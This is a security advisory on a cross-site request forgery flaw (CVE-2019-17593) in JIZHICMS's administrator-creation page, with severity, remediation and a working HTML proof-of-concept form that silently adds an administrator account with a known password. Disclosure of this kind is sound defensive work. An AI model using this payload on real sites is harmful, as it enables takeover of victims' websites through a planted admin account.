SB2019101506 - Cross-site request forgery in JIZHICMS
Published: October 15, 2019
Security Bulletin ID
SB2019101506
Severity
Low
Patch available
YES
Number of vulnerabilities
1
Exploitation vector
Remote access
Highest impact
Data manipulation
Breakdown by Severity
- Low
- Medium
- High
- Critical
Description
This security bulletin contains information about 1 security vulnerability.
1) Cross-site request forgery (CVE-ID: CVE-2019-17593)
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin in " admin.php/Admin/adminadd.html". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as add an administrator.
PoC:
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://ip/admin.php/Admin/adminadd.html" method="POST">
<input type="hidden" name="name" value="test123" />
<input type="hidden" name="tel" value="" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="gid" value="1" />
<input type="hidden" name="pass" value="123456" />
<input type="hidden" name="repass" value="123456" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="go" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>Remediation
Install update from vendor's website.